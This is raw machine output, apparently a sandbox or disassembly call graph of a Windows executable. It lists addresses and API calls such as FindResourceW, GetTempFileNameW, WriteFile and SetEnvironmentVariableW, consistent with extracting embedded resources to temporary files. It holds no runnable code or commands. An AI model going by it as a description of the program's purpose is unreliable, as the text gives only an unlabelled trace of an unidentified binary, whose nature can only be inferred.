8352->8354 9266 405170 TlsGetValue 8353->9266 8356 4032d9 8354->8356 8358 40e560 3 API calls 8356->8358 8357 40343b 8361 40e5f0 HeapFree 8357->8361 8359 4032e3 PathAddBackslashW 8358->8359 9237 40e520 GetLastError TlsGetValue SetLastError 8359->9237 8363 403453 8361->8363 8362 4032f6 8364 40e6c0 4 API calls 8362->8364 8365 40e5f0 HeapFree 8363->8365 8367 4032fe 8364->8367 8366 40345b 8365->8366 8368 40e5f0 HeapFree 8366->8368 8369 40e6c0 4 API calls 8367->8369 8371 403464 8368->8371 8370 403308 8369->8370 8372 40e560 3 API calls 8370->8372 8373 40e5f0 HeapFree 8371->8373 8374 403312 8372->8374 8375 40346d 8373->8375 9238 40e520 GetLastError TlsGetValue SetLastError 8374->9238 8377 40e5f0 HeapFree 8375->8377 8379 403476 8377->8379 8378 40331c 8380 40e6c0 4 API calls 8378->8380 8379->7814 8381 403324 8380->8381 8382 40e6c0 4 API calls 8381->8382 8383 40332e 8382->8383 8384 40e6c0 4 API calls 8383->8384 8385 403338 8384->8385 8386 40e560 3 API calls 8385->8386 8387 403342 8386->8387 9239 40b440 8387->9239 8389 403350 8390 403366 8389->8390 9249 40b050 8389->9249 8392 40b440 11 API calls 8390->8392 8393 40337e 8392->8393 8394 403394 8393->8394 8395 40b050 11 API calls 8393->8395 8394->8396 9261 40e520 GetLastError TlsGetValue SetLastError 8394->9261 8395->8394 9265 40e520 GetLastError TlsGetValue SetLastError 8396->9265 8398 4033b0 9262 40e520 GetLastError TlsGetValue SetLastError 8398->9262 8400 4033b8 8401 4062c0 3 API calls 8400->8401 8402 4033c4 8401->8402 8403 40e560 3 API calls 8402->8403 8404 4033ce GetSystemDirectoryW PathAddBackslashW 8403->8404 8404->8396 8405->7822 8406->7824 8407->7826 8408->7828 8409->7832 8410->7838 8411->7840 8412->7842 8413->7844 8414->7848 8416 40e660 21 API calls 8415->8416 8417 402e56 8416->8417 8418 405060 2 API calls 8417->8418 8419 402e62 FindResourceW 8418->8419 8420 402e81 8419->8420 8421 402e9d 8419->8421 9294 402664 8420->9294 9305 40a220 8421->9305 8425 402eac 9308 40ee60 8425->9308 8429 40e5f0 HeapFree 8430 402ee7 8429->8430 8431 40e520 GetLastError TlsGetValue SetLastError 8430->8431 8431->7856 8433 40e660 21 API calls 8432->8433 8434 40215c 8433->8434 8435 4051a0 3 API calls 8434->8435 8436 402165 8435->8436 8528 40235a 8436->8528 9334 40e520 GetLastError TlsGetValue SetLastError 8436->9334 8439 402184 9335 40e520 GetLastError TlsGetValue SetLastError 8439->9335 8440 402370 8442 40e6c0 4 API calls 8440->8442 8444 402378 8442->8444 8443 40218c 9336 40e520 GetLastError TlsGetValue SetLastError 8443->9336 9441 405170 TlsGetValue 8444->9441 8447 402194 9337 40e520 GetLastError TlsGetValue SetLastError 8447->9337 8448 40237f 8451 40e5f0 HeapFree 8448->8451 8450 40219c 9338 40a290 8450->9338 8453 402397 8451->8453 8454 40e5f0 HeapFree 8453->8454 8456 4023a0 8454->8456 8455 4021b0 9347 405182 TlsGetValue 8455->9347 8458 40e5f0 HeapFree 8456->8458 8460 4023a8 8458->8460 8459 4021b5 9348 406060 8459->9348 8462 40e5f0 HeapFree 8460->8462 8465 4023b1 8462->8465 8464 40e560 3 API calls 8466 4021c7 8464->8466 8465->7859 9351 40e520 GetLastError TlsGetValue SetLastError 8466->9351 8468 4021cd 9352 40e520 GetLastError TlsGetValue SetLastError 8468->9352 8470 4021d5 9353 40e520 GetLastError TlsGetValue SetLastError 8470->9353 8472 4021dd 9354 40e520 GetLastError TlsGetValue SetLastError 8472->9354 8474 4021e5 8475 40a290 5 API calls 8474->8475 8476 4021fc 8475->8476 9355 405182 TlsGetValue 8476->9355 8478 402201 8479 406060 5 API calls 8478->8479 8480 402209 8479->8480 8481 40e560 3 API calls 8480->8481 8482 402213 8481->8482 9356 40e520 GetLastError TlsGetValue SetLastError 8482->9356 8484 402219 9357 40e520 GetLastError TlsGetValue SetLastError 8484->9357 8486 402221 9358 40e520 GetLastError TlsGetValue SetLastError 8486->9358 8488 402234 9359 40e520 GetLastError TlsGetValue SetLastError 8488->9359 8490 40223c 9360 4057f0 8490->9360 8492 402252 9376 40e720 TlsGetValue 8492->9376 8494 402257 9377 40e520 GetLastError TlsGetValue SetLastError 8494->9377 8496 40225d 9378 40e520 GetLastError TlsGetValue SetLastError 8496->9378 8498 402265 8499 4057f0 9 API calls 8498->8499 8500 40227b 8499->8500 9379 405182 TlsGetValue 8500->9379 8502 402280 9380 405182 TlsGetValue 8502->9380 8504 402288 9381 408f69 8504->9381 8506 402291 8507 40e560 3 API calls 8506->8507 8508 40229b 8507->8508 8509 40235c 8508->8509 8510 4022ac 8508->8510 8511 401fba 36 API calls 8509->8511 9423 40e520 GetLastError TlsGetValue SetLastError 8510->9423 8511->8528 8513 4022b2 9424 40e520 GetLastError TlsGetValue SetLastError 8513->9424 8515 4022ba 9425 40e520 GetLastError TlsGetValue SetLastError 8515->9425 8517 4022c7 9426 40e520 GetLastError TlsGetValue SetLastError 8517->9426 8519 4022cf 8520 406060 5 API calls 8519->8520 8521 4022da 8520->8521 9427 405182 TlsGetValue 8521->9427 8523 4022df 8524 40d780 8 API calls 8523->8524 8525 4022e7 8524->8525 8526 40e560 3 API calls 8525->8526 8527 4022f1 8526->8527 8527->8528 9428 40e520 GetLastError TlsGetValue SetLastError 8527->9428 9440 40e520 GetLastError TlsGetValue SetLastError 8528->9440 8530 402307 9429 40e520 GetLastError TlsGetValue SetLastError 8530->9429 8532 402314 9430 40e520 GetLastError TlsGetValue SetLastError 8532->9430 8534 40231c 8535 4057f0 9 API calls 8534->8535 8536 402332 8535->8536 9431 40e720 TlsGetValue 8536->9431 8538 402337 9432 405182 TlsGetValue 8538->9432 8540 402342 9433 408e27 8540->9433 8543 4051a0 3 API calls 8544 402350 8543->8544 8545 401fba 36 API calls 8544->8545 8545->8528 8547 40e660 21 API calls 8546->8547 8566 40197a 8547->8566 8548 4019fb 8549 40a220 RtlAllocateHeap 8548->8549 8550 401a05 8549->8550 9492 40e520 GetLastError TlsGetValue SetLastError 8550->9492 8552 401a0f 9493 40e520 GetLastError TlsGetValue SetLastError 8552->9493 8554 405dc0 3 API calls 8554->8566 8555 401a17 9494 40add6 8555->9494 8556 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 8556->8566 8559 40e520 GetLastError TlsGetValue SetLastError 8559->8566 8560 40e560 3 API calls 8561 401a28 GetTempFileNameW 8560->8561 9503 40e520 GetLastError TlsGetValue SetLastError 8561->9503 8563 401a46 9504 40e520 GetLastError TlsGetValue SetLastError 8563->9504 8564 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 8564->8566 8566->8548 8566->8554 8566->8556 8566->8559 8566->8564 8567 401a4e 8568 40a240 4 API calls 8567->8568 8569 401a59 8568->8569 8570 40e560 3 API calls 8569->8570 8571 401a65 8570->8571 9505 40ae67 8571->9505 8577 401a9b 9514 40e520 GetLastError TlsGetValue SetLastError 8577->9514 8579 401aa3 8580 40a240 4 API calls 8579->8580 8581 401aae 8580->8581 8582 40e560 3 API calls 8581->8582 8583 401aba 8582->8583 8584 40ae67 2 API calls 8583->8584 8585 401ac5 8584->8585 8586 40ad45 3 API calls 8585->8586 8587 401ad0 GetTempFileNameW PathAddBackslashW 8586->8587 9515 40e520 GetLastError TlsGetValue SetLastError 8587->9515 8589 401afb 9516 40e520 GetLastError TlsGetValue SetLastError 8589->9516 8591 401b03 8592 40a240 4 API calls 8591->8592 8593 401b0e 8592->8593 8594 40e560 3 API calls 8593->8594 8595 401b1a 8594->8595 8596 40ae67 2 API calls 8595->8596 8597 401b25 PathRenameExtensionW GetTempFileNameW 8596->8597 9517 40e520 GetLastError TlsGetValue SetLastError 8597->9517 8599 401b54 9518 40e520 GetLastError TlsGetValue SetLastError 8599->9518 8601 401b5c 8602 40a240 4 API calls 8601->8602 8603 401b67 8602->8603 8604 40e560 3 API calls 8603->8604 8605 401b73 8604->8605 9519 40a200 HeapFree 8605->9519 8607 401b7c 8608 40e5f0 HeapFree 8607->8608 8609 401b89 8608->8609 8610 40e5f0 HeapFree 8609->8610 8611 401b92 8610->8611 8612 40e5f0 HeapFree 8611->8612 8613 401b9b 8612->8613 8614 40469c 8613->8614 8615 40e660 21 API calls 8614->8615 8619 4046a9 8615->8619 8616 40472a 9526 40e520 GetLastError TlsGetValue SetLastError 8616->9526 8617 40e520 GetLastError TlsGetValue SetLastError 8617->8619 8619->8616 8619->8617 8621 405dc0 3 API calls 8619->8621 8628 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 8619->8628 8633 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 8619->8633 8620 404730 8622 403539 98 API calls 8620->8622 8621->8619 8623 404746 8622->8623 8624 40e560 3 API calls 8623->8624 8625 404750 8624->8625 9527 40afda 8625->9527 8628->8619 8629 40e5f0 HeapFree 8630 404764 8629->8630 8631 40e5f0 HeapFree 8630->8631 8632 40476d 8631->8632 8634 40e5f0 HeapFree 8632->8634 8633->8619 8635 404522 8634->8635 8636 40e520 GetLastError TlsGetValue SetLastError 8635->8636 8636->7866 8638 40e660 21 API calls 8637->8638 8639 403543 8638->8639 8640 4051a0 3 API calls 8639->8640 8641 40354c 8640->8641 8642 405060 2 API calls 8641->8642 8643 403558 8642->8643 8644 403563 8643->8644 8645 403587 8643->8645 9532 40e520 GetLastError TlsGetValue SetLastError 8644->9532 8646 403591 8645->8646 8647 4035b4 8645->8647 9540 40e520 GetLastError TlsGetValue SetLastError 8646->9540 8650 4035e7 8647->8650 8651 4035be 8647->8651 8654 4035f1 8650->8654 8655 40361a 8650->8655 9541 40e520 GetLastError TlsGetValue SetLastError 8651->9541 8652 403569 9533 40e520 GetLastError TlsGetValue SetLastError 8652->9533 8653 40359d 8658 40e6c0 4 API calls 8653->8658 9559 40e520 GetLastError TlsGetValue SetLastError 8654->9559 8662 403624 8655->8662 8663 40364d 8655->8663 8664 4035a5 8658->8664 8660 4035c4 9542 40e520 GetLastError TlsGetValue SetLastError 8660->9542 8661 403571 9534 40ae75 8661->9534 9561 40e520 GetLastError TlsGetValue SetLastError 8662->9561 8666 403680 8663->8666 8667 403657 8663->8667 8673 40e560 3 API calls 8664->8673 8665 4035f7 9560 40e520 GetLastError TlsGetValue SetLastError 8665->9560 8671 4036b3 8666->8671 8672 40368a 8666->8672 9563 40e520 GetLastError TlsGetValue SetLastError 8667->9563 8683 4036e6 8671->8683 8684 4036bd 8671->8684 9565 40e520 GetLastError TlsGetValue SetLastError 8672->9565 8680 403582 8673->8680 8676 4035cc 9543 40aeba 8676->9543 8677 403578 8686 40e560 3 API calls 8677->8686 8678 40362a 9562 40e520 GetLastError TlsGetValue SetLastError 8678->9562 9530 40e520 GetLastError TlsGetValue SetLastError 8680->9530 8681 4035ff 8692 40aeba 17 API calls 8681->8692 8682 40365d 9564 40e520 GetLastError TlsGetValue SetLastError 8682->9564 8690 4036f0 8683->8690 8691 403719 8683->8691 9567 40e520 GetLastError TlsGetValue SetLastError 8684->9567 8686->8680 8688 403632 8696 40aeba 17 API calls 8688->8696 8689 403690 9566 40e520 GetLastError TlsGetValue SetLastError 8689->9566 9569 40e520 GetLastError TlsGetValue SetLastError 8690->9569 8703 403723 8691->8703 8704 403749 8691->8704 8700 40360b 8692->8700 8706 40363e 8696->8706 8712 40e560 3 API calls 8700->8712 8701 403665 8713 40aeba 17 API calls 8701->8713 8702 4036c3 9568 40e520 GetLastError TlsGetValue SetLastError 8702->9568 9571 40e520 GetLastError TlsGetValue SetLastError 8703->9571 8710 4037a1 8704->8710 8711 403753 8704->8711 8705 40e560 3 API calls 8764 4035e2 8705->8764 8717 40e560 3 API calls 8706->8717 8707 4037cb 8718 40e6c0 4 API calls 8707->8718 8708 403698 8719 40aeba 17 API calls 8708->8719 8709 4036f6 9570 40e520 GetLastError TlsGetValue SetLastError 8709->9570 9601 40e520 GetLastError TlsGetValue SetLastError 8710->9601 9573 40e520 GetLastError TlsGetValue SetLastError 8711->9573 8712->8764 8723 403671 8713->8723 8716 403729 9572 40e520 GetLastError TlsGetValue SetLastError 8716->9572 8717->8764 8726 4037d3 8718->8726 8727 4036a4 8719->8727 8731 40e560 3 API calls 8723->8731 8724 4036cb 8732 40aeba 17 API calls 8724->8732 9531 405170 TlsGetValue 8726->9531 8736 40e560 3 API calls 8727->8736 8728 4036fe 8737 40aeba 17 API calls 8728->8737 8729 403759 9574 40e520 GetLastError TlsGetValue SetLastError 8729->9574 8730 4037a7 9602 40e520 GetLastError TlsGetValue SetLastError 8730->9602 8731->8764 8733 4036d7 8732->8733 8740 40e560 3 API calls 8733->8740 8734 403731 8741 40aeba 17 API calls 8734->8741 8736->8764 8743 40370a 8737->8743 8740->8764 8746 40373d 8741->8746 8742 4037da 8751 40e5f0 HeapFree 8742->8751 8747 40e560 3 API calls 8743->8747 8744 403761 9575 409355 8744->9575 8745 4037af 8749 40ae75 5 API calls 8745->8749 8750 40e560 3 API calls 8746->8750 8747->8764 8753 4037b6 8749->8753 8750->8764 8755 4037f2 8751->8755 8754 40e560 3 API calls 8753->8754 8754->8680 8758 40e5f0 HeapFree 8755->8758 8756 40e560 3 API calls 8757 40377c 8756->8757 8760 403795 8757->8760 8761 403789 8757->8761 8759 4037fa 8758->8759 8759->7869 8763 401fba 36 API calls 8760->8763 9598 4056d8 8761->9598 8763->8764 8764->8680 8765->7873 8766->7875 8768 40e660 21 API calls 8767->8768 8769 402bb0 8768->8769 8770 4051a0 3 API calls 8769->8770 8771 402bb9 8770->8771 8772 405060 2 API calls 8771->8772 8773 402bc5 8772->8773 8774 40a220 RtlAllocateHeap 8773->8774 8775 402bcf GetShortPathNameW 8774->8775 9612 40e520 GetLastError TlsGetValue SetLastError 8775->9612 8777 402beb 9613 40e520 GetLastError TlsGetValue SetLastError 8777->9613 8779 402bf3 8780 40a290 5 API calls 8779->8780 8781 402c03 8780->8781 8782 40e560 3 API calls 8781->8782 8783 402c0d 8782->8783 9614 40a200 HeapFree 8783->9614 8785 402c16 9615 40e520 GetLastError TlsGetValue SetLastError 8785->9615 8787 402c20 8788 40e6c0 4 API calls 8787->8788 8789 402c28 8788->8789 9616 405170 TlsGetValue 8789->9616 8791 402c2f 8792 40e5f0 HeapFree 8791->8792 8793 402c46 8792->8793 8794 40e5f0 HeapFree 8793->8794 8795 402c4f 8794->8795 8796 40e720 TlsGetValue 8795->8796 8796->7879 8797->7881 8799 404594 8798->8799 8800 4099ac SetEnvironmentVariableW 8798->8800 8799->7884 8800->8799 8802->7887 8804 403807 8803->8804 8804->8804 8805 40e660 21 API calls 8804->8805 8824 403819 8805->8824 8806 40389a 9617 40e520 GetLastError TlsGetValue SetLastError 8806->9617 8808 4038a0 9618 40e520 GetLastError TlsGetValue SetLastError 8808->9618 8810 4038a8 9619 40e520 GetLastError TlsGetValue SetLastError 8810->9619 8811 405dc0 3 API calls 8811->8824 8813 4038b0 9620 40e520 GetLastError TlsGetValue SetLastError 8813->9620 8814 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 8814->8824 8816 4038b8 8818 40d780 8 API calls 8816->8818 8817 40e520 GetLastError TlsGetValue SetLastError 8817->8824 8819 4038ca 8818->8819 9621 405182 TlsGetValue 8819->9621 8820 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 8820->8824 8822 4038cf 8823 405eb0 6 API calls 8822->8823 8825 4038d7 8823->8825 8824->8806 8824->8811 8824->8814 8824->8817 8824->8820 8826 40e560 3 API calls 8825->8826 8827 4038e1 8826->8827 9622 40e520 GetLastError TlsGetValue SetLastError 8827->9622 8829 4038e7 9623 40e520 GetLastError TlsGetValue SetLastError 8829->9623 8831 4038ef 9624 40e520 GetLastError TlsGetValue SetLastError 8831->9624 8833 4038f7 9625 40e520 GetLastError TlsGetValue SetLastError 8833->9625 8835 4038ff 8836 40d780 8 API calls 8835->8836 8837 403911 8836->8837 9626 405182 TlsGetValue 8837->9626 8839 403916 8840 405eb0 6 API calls 8839->8840 8841 40391e 8840->8841 8842 40e560 3 API calls 8841->8842 8843 403928 8842->8843 9627 40e520 GetLastError TlsGetValue SetLastError 8843->9627 8845 40392e 9628 40e520 GetLastError TlsGetValue SetLastError 8845->9628 8847 403936 9629 40e520 GetLastError TlsGetValue SetLastError 8847->9629 8849 40393e 9630 40e520 GetLastError TlsGetValue SetLastError 8849->9630 8851 403946 8852 40d780 8 API calls 8851->8852 8853 403956 8852->8853 9631 405182 TlsGetValue 8853->9631 8855 40395b 8856 405eb0 6 API calls 8855->8856 8857 403963 8856->8857 8858 40e560 3 API calls 8857->8858 8859 40396d 8858->8859 9632 40e520 GetLastError TlsGetValue SetLastError 8859->9632 8861 403973 9633 40e520 GetLastError TlsGetValue SetLastError 8861->9633 8863 40397b 9634 40e520 GetLastError TlsGetValue SetLastError 8863->9634 8865 403983 9635 40e520 GetLastError TlsGetValue SetLastError 8865->9635 8867 40398b 8868 40d780 8 API calls 8867->8868 8869 40399b 8868->8869 9636 405182 TlsGetValue 8869->9636 8871 4039a0 8872 405eb0 6 API calls 8871->8872 8873 4039a8 8872->8873 8874 40e560 3 API calls 8873->8874 8875 4039b2 8874->8875 9637 40e520 GetLastError TlsGetValue SetLastError 8875->9637 8877 4039b8 9638 40e520 GetLastError TlsGetValue SetLastError 8877->9638 8879 4039c0 9639 40e520 GetLastError TlsGetValue SetLastError 8879->9639 8881 4039c8 9640 40e520 GetLastError TlsGetValue SetLastError 8881->9640 8883 4039d0 8884 40d780 8 API calls 8883->8884 8885 4039e0 8884->8885 9641 405182 TlsGetValue 8885->9641 8887 4039e5 8888 405eb0 6 API calls 8887->8888 8889 4039ed 8888->8889 8890 40e560 3 API calls 8889->8890 8891 4039f7 8890->8891 9642 40e520 GetLastError TlsGetValue SetLastError 8891->9642 8893 4039fd 9643 403e37 8893->9643 8896 4051a0 3 API calls 8897 403a12 8896->8897 9684 40e520 GetLastError TlsGetValue SetLastError 8897->9684 8899 403a18 8900 403e37 84 API calls 8899->8900 8901 403a28 8900->8901 8902 40e560 3 API calls 8901->8902 8903 403a34 8902->8903 9685 40e520 GetLastError TlsGetValue SetLastError 8903->9685 8905 403a3a 8906 403e37 84 API calls 8905->8906 8907 403a4a 8906->8907 8908 40e560 3 API calls 8907->8908 8909 403a54 8908->8909 9686 40e520 GetLastError TlsGetValue SetLastError 8909->9686 8911 403a5a 8912 403e37 84 API calls 8911->8912 8913 403a6a 8912->8913 8914 40e560 3 API calls 8913->8914 8915 403a74 8914->8915 9687 40e520 GetLastError TlsGetValue SetLastError 8915->9687 8917 403a7a 8918 403e37 84 API calls 8917->8918 8919 403a8a 8918->8919 8920 40e560 3 API calls 8919->8920 8921 403a94 8920->8921 9688 40e520 GetLastError TlsGetValue SetLastError 8921->9688 8923 403a9a 9689 40e520 GetLastError TlsGetValue SetLastError 8923->9689 8925 403aa2 9690 40e520 GetLastError TlsGetValue SetLastError 8925->9690 8927 403aaa 8928 402ba6 43 API calls 8927->8928 8929 403ab7 8928->8929 9691 40e720 TlsGetValue 8929->9691 8931 403abc 9692 405182 TlsGetValue 8931->9692 8933 403acb 9693 406650 8933->9693 8936 40e560 3 API calls 8937 403ade 8936->8937 9696 40e520 GetLastError TlsGetValue SetLastError 8937->9696 8939 403ae4 9697 40e520 GetLastError TlsGetValue SetLastError 8939->9697 8941 403aec 9698 40e520 GetLastError TlsGetValue SetLastError 8941->9698 8943 403af4 8944 402ba6 43 API calls 8943->8944 8945 403b01 8944->8945 9699 40e720 TlsGetValue 8945->9699 8947 403b06 9700 405182 TlsGetValue 8947->9700 8949 403b15 8950 406650 13 API calls 8949->8950 8951 403b1e 8950->8951 8952 40e560 3 API calls 8951->8952 8953 403b28 8952->8953 9701 40e520 GetLastError TlsGetValue SetLastError 8953->9701 8955 403b2e 9702 40e520 GetLastError TlsGetValue SetLastError 8955->9702 8957 403b3a 8958 40e6c0 4 API calls 8957->8958 8959 403b42 8958->8959 8960 40e6c0 4 API calls 8959->8960 8961 403b4d 8960->8961 8962 40e6c0 4 API calls 8961->8962 8963 403b57 8962->8963 8964 40e6c0 4 API calls 8963->8964 8965 403b61 8964->8965 8966 40e6c0 4 API calls 8965->8966 8967 403b6b 8966->8967 9703 40e720 TlsGetValue 8967->9703 8969 403b70 9704 405182 TlsGetValue 8969->9704 8971 403b7b 9705 4023b8 8971->9705 8974 4051a0 3 API calls 8975 403b89 8974->8975 8976 40e5f0 HeapFree 8975->8976 8977 403b94 8976->8977 8978 40e5f0 HeapFree 8977->8978 8979 403b9d 8978->8979 8980 40e5f0 HeapFree 8979->8980 8981 403ba6 8980->8981 8982 40e5f0 HeapFree 8981->8982 8983 403baf 8982->8983 8984 40e5f0 HeapFree 8983->8984 8985 403bb8 8984->8985 8986 40e5f0 HeapFree 8985->8986 8987 403bc1 8986->8987 8988 40e5f0 HeapFree 8987->8988 8989 403bca 8988->8989 8990 40e5f0 HeapFree 8989->8990 8991 403bd3 8990->8991 8992 40e5f0 HeapFree 8991->8992 8993 403bdc 8992->8993 8994 40e5f0 HeapFree 8993->8994 8995 403be5 8994->8995 8996 40e520 GetLastError TlsGetValue SetLastError 8995->8996 8996->7897 8998 40e660 21 API calls 8997->8998 8999 401e70 8998->8999 9000 4051a0 3 API calls 8999->9000 9001 401e79 9000->9001 9913 40e520 GetLastError TlsGetValue SetLastError 9001->9913 9003 401e7f 9914 40e520 GetLastError TlsGetValue SetLastError 9003->9914 9005 401e87 9006 409698 7 API calls 9005->9006 9007 401e8e 9006->9007 9008 40e560 3 API calls 9007->9008 9009 401e98 PathQuoteSpacesW 9008->9009 9010 401ef1 9009->9010 9011 401ea8 9009->9011 9981 40e520 GetLastError TlsGetValue SetLastError 9010->9981 9915 40e520 GetLastError TlsGetValue SetLastError 9011->9915 9014 401eae 9916 40249d 9014->9916 9015 401efa 9017 40e6c0 4 API calls 9015->9017 9019 401f02 9017->9019 9021 40e560 3 API calls 9019->9021 9040 401eef 9021->9040 9026 401f16 9028 40e6c0 4 API calls 9026->9028 9030 401f1e 9028->9030 9983 405170 TlsGetValue 9030->9983 9035 401f25 9036 40e5f0 HeapFree 9035->9036 9039 401f3c 9036->9039 9041 40e5f0 HeapFree 9039->9041 9982 40e520 GetLastError TlsGetValue SetLastError 9040->9982 9042 401f45 9041->9042 9042->7900 9044 40e660 21 API calls 9043->9044 9045 403c91 9044->9045 9046 405060 2 API calls 9045->9046 9047 403c9d 9046->9047 9048 405060 2 API calls 9047->9048 9049 403caa 9048->9049 9050 405060 2 API calls 9049->9050 9051 403cb7 9050->9051 9052 405060 2 API calls 9051->9052 9053 403cc4 9052->9053 10014 40e520 GetLastError TlsGetValue SetLastError 9053->10014 9055 403cd0 9056 40e6c0 4 API calls 9055->9056 9057 403cd8 9056->9057 9058 40e560 3 API calls 9057->9058 9059 403ce2 PathQuoteSpacesW 9058->9059 10015 40e520 GetLastError TlsGetValue SetLastError 9059->10015 9128 4054b1 EnterCriticalSection 9127->9128 9129 404601 9127->9129 9130 4054c7 9128->9130 9136 4054f7 9128->9136 9129->7907 9132 4054c8 WaitForSingleObject 9130->9132 9130->9136 9131 40e1f2 HeapAlloc 9134 405511 LeaveCriticalSection 9131->9134 9132->9130 9133 4054d8 CloseHandle 9132->9133 9135 40e1b2 HeapFree 9133->9135 9134->9129 9135->9130 9136->9131 9138 40e660 21 API calls 9137->9138 9139 402c63 9138->9139 9140 405060 2 API calls 9139->9140 9141 402c6f 9140->9141 9142 402c9c 9141->9142 10116 40e520 GetLastError TlsGetValue SetLastError 9141->10116 10118 40e520 GetLastError TlsGetValue SetLastError 9142->10118 9145 402ca2 10119 40e520 GetLastError TlsGetValue SetLastError 9145->10119 9146 402c7e 10117 40e520 GetLastError TlsGetValue SetLastError 9146->10117 9149 402caa 10120 40e520 GetLastError TlsGetValue SetLastError 9149->10120 9150 402c86 9152 40a240 4 API calls 9150->9152 9154 402c92 9152->9154 9153 402cb2 10121 40e520 GetLastError TlsGetValue SetLastError 9153->10121 9155 40e560 3 API calls 9154->9155 9155->9142 9157 402cba 9158 40d780 8 API calls 9157->9158 9159 402cca 9158->9159 10122 405182 TlsGetValue 9159->10122 9161 402ccf 9162 405eb0 6 API calls 9161->9162 9163 402cd7 9162->9163 9164 40e560 3 API calls 9163->9164 9267 40e780 9217->9267 9221 402b73 9220->9221 9221->9221 9222 40e660 21 API calls 9221->9222 9223 402b85 GetNativeSystemInfo 9222->9223 9224 402b98 9223->9224 9224->8324 9224->8325 9226 4055a1 9225->9226 9230 403269 9225->9230 9226->9230 9273 40552c memset GetModuleHandleW 9226->9273 9229 4055df GetVersionExW 9229->9230 9230->8325 9231->8333 9232->8337 9234 40e900 3 API calls 9233->9234 9235 40329b 9234->9235 9235->8342 9236->8347 9237->8362 9238->8378 9240 40db18 5 API calls 9239->9240 9241 40b455 9240->9241 9242 40b4ee 9241->9242 9243 40b45f CreateFileW 9241->9243 9242->8389 9244 40b480 9243->9244 9246 40b4a0 9243->9246 9244->9246 9247 40b48d HeapAlloc 9244->9247 9245 40da8a 4 API calls 9248 40b4e5 9245->9248 9246->9245 9246->9248 9247->9246 9248->8389 9250 40b069 9249->9250 9251 40b05a 9249->9251 9276 40dad9 EnterCriticalSection 9250->9276 9280 40e075 9251->9280 9256 40b0ad 9256->8390 9257 40b099 CloseHandle 9259 40da8a 4 API calls 9257->9259 9259->9256 9260 40b088 HeapFree 9260->9257 9261->8398 9262->8400 9263->8332 9264->8336 9265->8349 9266->8357 9268 40324e 9267->9268 9269 40e78a wcslen HeapAlloc 9267->9269 9268->8320 9271 40ea40 9269->9271 9272 40ea50 9271->9272 9272->9268 9274 405554 GetProcAddress 9273->9274 9275 405564 9273->9275 9274->9275 9275->9229 9275->9230 9277 40daf2 9276->9277 9278 40dafd LeaveCriticalSection 9276->9278 9277->9278 9279 40b076 9278->9279 9279->9256 9279->9257 9286 40b0c0 9279->9286 9281 40e082 9280->9281 9282 40b065 9280->9282 9289 40e19b EnterCriticalSection 9281->9289 9282->8390 9285 40e088 9285->9282 9290 40e144 9285->9290 9287 40b0d4 WriteFile 9286->9287 9288 40b0fc 9286->9288 9287->9260 9288->9260 9289->9285 9292 40e150 9290->9292 9291 40e194 9291->9285 9292->9291 9293 40e18a LeaveCriticalSection 9292->9293 9293->9291 9295 40e660 21 API calls 9294->9295 9296 40266d LoadResource SizeofResource 9295->9296 9297 40a220 RtlAllocateHeap 9296->9297 9298 40269a 9297->9298 9311 40a300 memcpy 9298->9311 9300 4026b1 FreeResource 9301 4026c1 9300->9301 9302 40477d 9301->9302 9312 40a1e0 9302->9312 9304 404786 9304->8421 9306 40a228 RtlAllocateHeap 9305->9306 9307 40a23a 9305->9307 9306->8425 9307->8425 9315 40ee80 9308->9315 9310 402ed0 9310->8429 9311->9300 9313 40a1e8 HeapSize 9312->9313 9314 40a1fa 9312->9314 9313->9304 9314->9304 9316 40ee98 __fprintf_l 9315->9316 9318 40ef4a __fprintf_l 9316->9318 9319 40eff0 9316->9319 9318->9310 9320 40fa52 9319->9320 9324 40f000 __fprintf_l 9319->9324 9320->9316 9321 40f5d7 9325 40f644 __fprintf_l 9321->9325 9326 410b90 9321->9326 9323 40f4ef memcpy 9323->9324 9324->9320 9324->9321 9324->9323 9325->9316 9327 410ba4 9326->9327 9328 410c12 memcpy 9327->9328 9329 410bec memcpy 9327->9329 9331 410bbf 9327->9331 9332 410c39 memcpy 9328->9332 9333 410c58 9328->9333 9329->9325 9331->9325 9332->9325 9333->9325 9334->8439 9335->8443 9336->8447 9337->8450 9339 40a2a9 9338->9339 9340 40a299 9338->9340 9342 40e900 3 API calls 9339->9342 9442 40a240 9340->9442 9345 40a2bf 9342->9345 9343 40a2a6 9343->8455 9448 40ea90 TlsGetValue 9345->9448 9346 40a2e8 9346->8455 9347->8459 9449 405f90 9348->9449 9350 4021bd 9350->8464 9351->8468 9352->8470 9353->8472 9354->8474 9355->8478 9356->8484 9357->8486 9358->8488 9359->8490 9361 40590f 9360->9361 9368 405801 9360->9368 9459 40e9e0 TlsGetValue 9361->9459 9363 405918 9363->8492 9364 405886 9366 40e880 TlsGetValue 9364->9366 9365 405850 wcsncmp 9365->9368 9367 4058c7 9366->9367 9369 4058e9 9367->9369 9458 40e8d0 TlsGetValue 9367->9458 9368->9364 9368->9365 9371 40e900 3 API calls 9369->9371 9373 4058f0 9371->9373 9372 4058d7 memmove 9372->9369 9374 405901 9373->9374 9375 4058f6 wcsncpy 9373->9375 9374->8492 9375->9374 9376->8494 9377->8496 9378->8498 9379->8502 9380->8504 9460 408e58 9381->9460 9383 408f81 9384 408e58 3 API calls 9383->9384 9385 408f90 9384->9385 9386 408e58 3 API calls 9385->9386 9387 408fa3 9386->9387 9388 408fb0 GetStockObject 9387->9388 9389 408fbd LoadIconW LoadCursorW RegisterClassExW 9387->9389 9388->9389 9464 4094d1 GetForegroundWindow 9389->9464 9394 409047 IsWindowEnabled 9395 40906b 9394->9395 9396 409052 EnableWindow 9394->9396 9397 4094d1 3 API calls 9395->9397 9396->9395 9398 40907e GetSystemMetrics GetSystemMetrics CreateWindowExW 9397->9398 9399 4092ba 9398->9399 9400 4090cb SetWindowLongW CreateWindowExW SendMessageW 9398->9400 9401 4092cd 9399->9401 9478 40e9e0 TlsGetValue 9399->9478 9402 409125 9400->9402 9403 409128 CreateWindowExW SendMessageW SetFocus 9400->9403 9479 408e9a 9401->9479 9402->9403 9405 4091a5 CreateWindowExW SendMessageW CreateAcceleratorTableW SetForegroundWindow BringWindowToTop 9403->9405 9406 40917b SendMessageW wcslen wcslen SendMessageW 9403->9406 9409 40926a 9405->9409 